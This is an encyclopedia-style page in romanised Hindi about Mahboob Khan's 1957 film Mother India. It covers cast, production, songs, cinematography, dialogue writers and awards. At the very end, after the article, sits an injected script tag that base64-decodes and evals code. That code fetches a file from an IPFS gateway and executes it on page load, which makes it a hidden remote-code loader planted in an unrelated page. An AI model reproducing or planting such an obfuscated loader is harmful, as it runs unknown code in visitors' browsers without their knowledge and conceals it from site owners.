मदर इंडिया

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
madar iandiya
nirdeshak mahaboob khaan
nirmata mahaboob khaan
lekhak mahaboob khaan,vazahat mirza, es ali raza
kalakar nargis, rajakumar, rajendr kumar, sunil datt aur kanhaiya lal
prasiddh charitr sukkhi lala
sangit naushad
gitakar shakil badayooanni
gayak lata mangeshakar, shamashad begam, muhammad rafi aur manna de
prasiddh git duniya mean jab aye haian to…, matavala jiya, o mere lal aja
chhayaankan faroodan e eerani
sanpadan shamasudin qadari
vitarak mahaboob prodakshans
pradarshan tithi 14 faravari, 1957
avadhi 172 minat
bhasha hindi
puraskar karaloveri aantararashtriy film mahotsav:- sarvashreshth abhinetri; filmafeyar:- sarvashreshth film, sarvashreshth nirdeshak puraskar, sarvashreshth abhinetri puraskar, sarvashreshth chhayakar puraskar, sarvashreshth dhvani puraskar
bajat 40,00,000 rupaye

madar iandiya mahaboob khan ke dvara nirdeshit ek vikhyat hindi film hai, isaka pradarshan 1957 mean hua tha.

kathavastu

1940 mean film "aurat" mean mahaboob ek am hiandustani aurat ke sangharsh aur hausale ko salam karate haian aur use ek aisi jivan vali mahila ke roop mean pesh karate haian, jo viparit halat mean bhi datakar kh di rahati hai. is film mean ek gaanv ki kahani hai, jisamean ek kutil aur lalachi sahookar apani havas poori karane ke lie kisan parivar ki ek stri par atyachar karata hai. satrah sal bad yani 1957 mean mahaboob ne isi film ka naya sanskaran "madar iandiya" shirshak ke sath banaya. "aurat" ki tarah "madar iandiya" ko bhi apar saphalata hasil huee aur is film ne mahaboob ko bharatiy sine itihas mean amar kar diya. [[chitr:Nargis2-Motherindia.jpg|thumb|left|220px|nargis (radha), mastar sajid khan (birajoo) aur mastar surendr (ramoo)
Nargis (Radha), Master Sajid Khan (Birju), Master Surendra (Ramu)]]

nirman

"madar iandiya" ko banane mean poore tin sal lage aur is dauran kul milakar sau dinoan tak shootiang ki gee. film ki shootiang mahaboob ke baandra stoodiyo aur dakshin gujarat mean umara nam ke ek chhote-se shahar mean huee thi. film ka kuchh hissa sarar aur kashipura gaanvoan mean bhi filmaya gaya tha. [1] as-pas base ye donoan gaanv b dauda zile mean ate haian.

git-sangit

film ka git-sangit bhi bahut pasand kiya gaya. shakil badayooanni ke likhe bhavapoorn gitoan ko naushad ki surili dhunoan ka sahara mila tha. naushad ke sangit ki ek khoobi yah bhi thi ki ve apani dhunoan mean lok-sangit ka b di kushalata ke sath istemal karate the. gitoan ke lie pashrv gayakoan ka chunav karane mean bhi naushad mahir the. unhoanne film ke zyadatar git shamashad begam, muhammad rafi aur manna de se gavaean, jabaki nargis par filmae ge gitoan mean unhoanne lata mangeshakar ki avaz ka istemal kiya. lata ne bhi "madar iandiya" ke gitoan mean apani tamam bhavanaean utar dian aur yahi vajah hai ki film mean unake gae git aj bhi sangit premiyoan ko behad pasand haian. lata ke gae "duniya mean ham ae haian to jina hi p dega" aur "o mere lal aja" jaise gitoan ko log aj bhi b de chav se sunate haian. [[chitr:Mother-India-2.jpg|thumb|left|nargis (radha), sunil datt (birajoo) aur rajendr kumar (ramoo)
Nargis (Radha), Sunil Dutt (Birju), Rajendra Kumar (Ramu)]]

chhayakann

"madar iandiya" ke chhayakann faradoon e. eerani ne kiya tha. jinake sath mahaboob ki dosti film "al hilal" ke vaqt se hi thi. mahaboob ki filmoan mean pharadoon ki chhayakann dekhate hi banata hai, khas taur par mahaboob ki "aandaj" aur "amar" jaisi blaik eand vhait filmoan mean to pharadoon ne kamal ki chhayakann kiya hai. pharadoon ne "madar iandiya" ke drishyoan ko khoobasoorat banane ki har mumakin koshish ki. autador lokeshan ke drishyoan mean pharadoon ka kaimara kudarat ki khoobasoorat karigari ko bakhoobi parade par chitrit karata hai. film mean gaanv-dehat ke drishy bhi b de jivant hokar ubharate haian.

door-door tak phaila nila asaman....raste mean dhool u dati huee bailaga di chali ja rahi hai....bailoan ke gale mean bandhe ghuangharoooan ki roonajhun ki madhur dhvani apake dil ko chhoo jati hai!

sanvad

"madar iandiya" ka skrinaple bahut prabhavi tha aur isake dayal aaug behad asaradar the. "aurat" ke dayal aaug vazahat mirja ne likhe the, isalie yah svabhavik hi tha ki mahaboob ne "madar iandiya" ke sanvad likhane ka dayitv bhi unhean hi sauanpa. vazahat mirja ko natakiy drishyoan ki sanrachana karane mean maharat hasil thi aur "madar iandiya" ke drishyoan mean bhi unhoanne apana yahi kamal dikhaya. film ke kiradaroan ki ziandagi mean ane vale utar-chadhav tatha unake gamoan aur khushiyoan ko unhoanne apane damadar sanvadoan mean piroya. yahi karan hai ki radha, shyamoo ya birajoo jaise kiradar itane vishvasaniy banakar parade par ubhare. [2] thumb|250px|kanhaiya lal (sukkhi lala)
Kanhaiyalal (Sukhilala)
mahaboob aur vazahat mirza donoan ka svabhav ek jaisa tha, isalie unamean aksar jhag da ho jata tha. "madar iandiya" ki shootiang ke dauran bhi aisa kee bar hua. naubat yahaan tak a gee ki ek martaba to vazahat mirja ne mahaboob ke pas ittila bhijava di ki ve film ke lie dayal aaug nahian likheange. tab mahaboob ne hi ek rasta nikala. unhoanne saiyad ali raja ko madhyasth banaya aur unhean yah zimmedari sauanpi ki ve vazahat mirja se sanvad likhavaean aur sait par mahaboob ke pas pahuanchaean. ali raja isase pahale mahaboob ke lie "aandaj" ki kahani likh chuke the. ve vazahat mirja ka bahut samman karate the, lekin jab "madar iandiya" ke kredits dene ki bari aee, to mahaboob ne sanvad lekhak ke taur par vazahat mirja ke sath ali raja ka nam bhi dene ka phaisala kiya. vazahat mirja ko jab yah bat pata lagi, to unhoanne etaraj kiya aur is bare mean ek chitthi mahaboob ke pas bheji....lekin tab tak mahaboob apani film ko aantim roop de chuke the aur unake pas itana vaqt bhi nahian tha ki ve film ki kehradit lain mean kuchh pherabadal kar pate.

mahaboob ne "madar iandiya" ke taital rol mean nargis ko liya, jinhean ve 1943 mean bani apani film "takadir" ke jarie jamane ke samane la chuke the. nargis ki ginati pachas ke dashak ki kamayab abhinetriyoan mean hoti thi. us daur mean unhoanne anek filmoan mean mukhy nayika ke taur par kam kiya, lekin "madar iandiya" ka rol unake lie kitana aham tha, yah khud nargis ne ek iantaravyoo mean bataya tha. unhoanne kaha tha, "....jab mujhe "madar iandiya" ka rol aauphar kiya gaya, to mujhe laga ki ek kalakar hone ke nate maianne jo ummidean laga rakhi haian, akhirakar unake poora hone ka vaqt a gaya hai......" [3]

jab kabhi lokapriy bharatiy filmoan ke bare mean rayashumari ki jati hai, "madar iandiya" hamesha pahali payadan par kh di nazar ati hai. hindi sinema ki chand klasik filmoan mean "madar iandiya" ki ginati ki jati hai aur sirf apane desh mean hi nahian, duniya ke baki mulkoan mean bhi har pidhi ke darshakoan ne is film ko pasand kiya hai. [4]

nirmata

mahaboob khan ki madar iandiya bharatiy sinema ki sabase mahattvapoorn aur sarahi jane vali filmoan mean se ek hai. madar iandiya ki patakatha bhi zabardast thi. film ki kamayabi mean usaki sashakt patakatha ka bhi aham yogadan raha tha. [5] halaanki sinema ek drishy madhyam hai, lekin film ko kahane ki kala mean usake sanvadoan ki bhoomika ko qatee nazaraandazanahian kiya ja sakata. kisi bhi film ke sanvad n keval usake samajik aur saanskritik pariprekshy ka nirman karate haian, balki ve usake mukhy kiradaroan ki bhavanaoan ko bhi vyakt karate haian. yahi bat madar iandiya par bhi lagoo hoti hai. varsh 1957 mean rilij huee yah film aauskar puraskaroan ke lie namit hone vali pahali hindi film thi. [[chitr:Mehboob-Khan-Stamp.jpg|thumb|left|mahaboob khan stamp
Mehboob Khan Stamp]] film mean naragis, rajakumar, sunil datt, kanhaiyalal aur rajeandr kumar ke sanvadoan ne sangharsh aur jujharoopan ki is amar gatha ko jivant kar diya tha. madar iandiya patakatha vazahat mirja aur saiyad ali raja ne nirdeshak mehaboob khan ke sath likhi thi. varsh 1908 mean lakhanoo mean janme vazahat mirja ne apana filmi kairiyar kalakatta ke nyoo thietar mean sahayak kaimaramain ki haisiyat se shuroo kiya tha. 40 ke dashak mean ve muanbee chale ae.

unhoanne muanbee mean apane kamakaj ki shuruat abhineta aur film nirdeshak ke roop mean ki thi, lekin bad mean ve patakatha lekhan mean ruchi lene lage. ve urdoo ke behatarin shayar bhi the, halaanki unaki shayari kabhi samane nahian a saki. unhoanne bharat ki kuchh behatarin filmoan ka skrin ple likha hai, jinamean madar iandiya ke alava mugale ajam, shikast, yahoodi, ganga jamana aur lidar shamil haian. mehaboob khan ke sath vazahat mirja ne chhah filmean ki thian aur madar iandiya in donoan maharathiyoan ka shreshthatam sajha prayas tha.

saiyad ali raja jane-mane lekhak aga jani kashmiri ke bhatije the. raja ki lekhan shaili bahut vishisht thi aur apani pahali hi film mean unhoanne isaki jhalak dikhaee. yah film thi mehaboob khan ki aandaj. is film mean apane jamane ke do diggaj abhineta dilip kumar aur raj kapoor ek sath nazar ae the. isake bad raja ne mehaboob khan ki an ke sanvad bhi likhe. isi film ki shootiang ke dauran unaki bheant abhinetri nimmi se huee thi aur bad mean donoan ne shadi kar li. saiyad ali raja ne ek patakatha lekhak ke roop mean ne manak sthapit kie the.[6]

radha banian thian nargis

[[chitr:Nargis-Motherindia.jpg|thumb|250 px|nargis (radha)
Nargis (Radha)]] film 'madar iandiya' mean radha ki bhoomika ke zarie bharatiy nari ko ek naya aur sashakt roop dene vali nargis hindi sinema ki mahanatam abhinetriyoan mean se ek thian jinhoanne lagabhag do dashak lanbe filmi safar mean darjanoan yadagar aur sanvadenashil bhoomikaean kian aur apane sahaj abhinay se darshakoan ka manoranjan kiya. 1940 aur 50 ke dashak mean unhoanne kee filmoan mean kam kiya aur 1957 mean pradarshit mahaboob khan ki film 'madar iandiya' unaki sarvadhik charchit filmoan mean rahi. is film ko aauskar ke lie namit kiya gaya tha. aantararashtriy star par charchit film 'madar iandiya' mean radha ki bhoomika ke lie nargis ko film pheyar sahit kee puraskar mile. isi film mean shootiang ke dauran abhineta sunil datt ne ag se unaki jan bachaee thi aur bad mean donoan ne shadi kar li thi.[7]

sunil datt bane birajoo

b aaulivud ke mashahoor abhineta sunil datt ne apane sine kariyar ki shuruat varsh 1955 mean pradarshit film relave pletapharm se ki lekin film ki asaphalata se vah apani pahachan banane mean kamayab nahian ho sake. sunil datt ki qismat ka sitara 1957 mean pradarshit film madar iandiya se chamaka. isamean vah ek ऎse yuvak birajoo ki bhoomika mean dikhaee die jo gaanv mean samajik vyavastha se kafi naraz hai aur vidroh kar dakoo ban jata hai. bad mean sahookar se badala lene ke lie vah usaki putri ka apaharan kar leta hai, lekin is koshish mean vah apani maan ke hathoan mara jata hai. is film mean eanti hiro ka kiradar nibhakar vah darshakoan ka dil jitane mean kamayab ho ge.[8]

mukhy kalakar

[[chitr:Mother-India-3.jpg|thumb|250px|nargis (radha), sunil datt (birajoo) aur rajendr kumar (ramoo)
Nargis (Radha), Sunil Dutt (Birju), Rajendra Kumar (Ramu)]]

  • nargis - radha
  • sunil datt - birajoo
  • rajendr kumar - ramoo
  • raj kumar - shyamoo
  • kanhaiya lal - sukkhi lala
  • kumakum - chanpa
  • mukari - shanbhu
  • shila naeek - kamala
  • azad - chandr
  • mastar sajid khan - yuva birajoo
  • mastar surendr - yuva ramoo

puraskar

  • karaloveri aantararashtriy film mahotsav:- sarvashreshth abhinetri naragis datt
  • filmafeyar:- sarvashreshth film
  • filmafeyar:- sarvashreshth nirdeshak puraskar mahaboob khaan
  • filmafeyar:- sarvashreshth abhinetri puraskar naragis
  • filmafeyar:- sarvashreshth chhayakar puraskar faroodan e eerani
  • filmafeyar:- sarvashreshth dhvani puraskar ar kaushik


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. sarar gaanv mean hi mahaboob ka janm hua tha
  2. aise bani "madar iandiya" (hindi) patrika. abhigaman tithi: 27 agast, 2010.
  3. filmaphear / 25 aprel 1958
  4. niyogi buks, nee dilli se prakashit nasarin munni kabir ki pustak "d dayal aaug aauf madar iandiya" ke kuchh aansh.
  5. lekhika aur d aaukyoomeantri filmakar nasarin munni kabir ne mehaboob khan ki is klasik film ke sanvadoan ko ek kitab ki shakl mean sanjoya hai. ve isase pahale bhi sinema par kee kitabean likh chuki haian, jinamean shamil haian varsh 1996 mean prakashit gurudatt : a laiph in sinema, varsh 2009 mean prakashit lata mangeshakar : in har on v aauis mean prakashit d dayal aaug aauf avara : raj kapoors immortal klasik. unaki nee kitab mean madar iandiya ke sanvadoan ke sath hi shakil badayooanni ke sadabahar gitoan ko bhi devanagari, urdoo aur roman lipi mean jagah di gee hai.
  6. madar iandiya ka charitr gadhane vale maharathi (hindi) (ech.ti.em.el) dainik bhaskar. abhigaman tithi: 27 agast, 2010.
  7. bharatiy nari ko sashakt roop dene vali abhinetri thian nargis (hindi) (ech.ti.em.el) hiandustan. abhigaman tithi: 27 agast, 2010.
  8. madar iandiya se chamaka sunil datt ka sitara (hindi) khas khabar. abhigaman tithi: 27 agast, 2010.

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>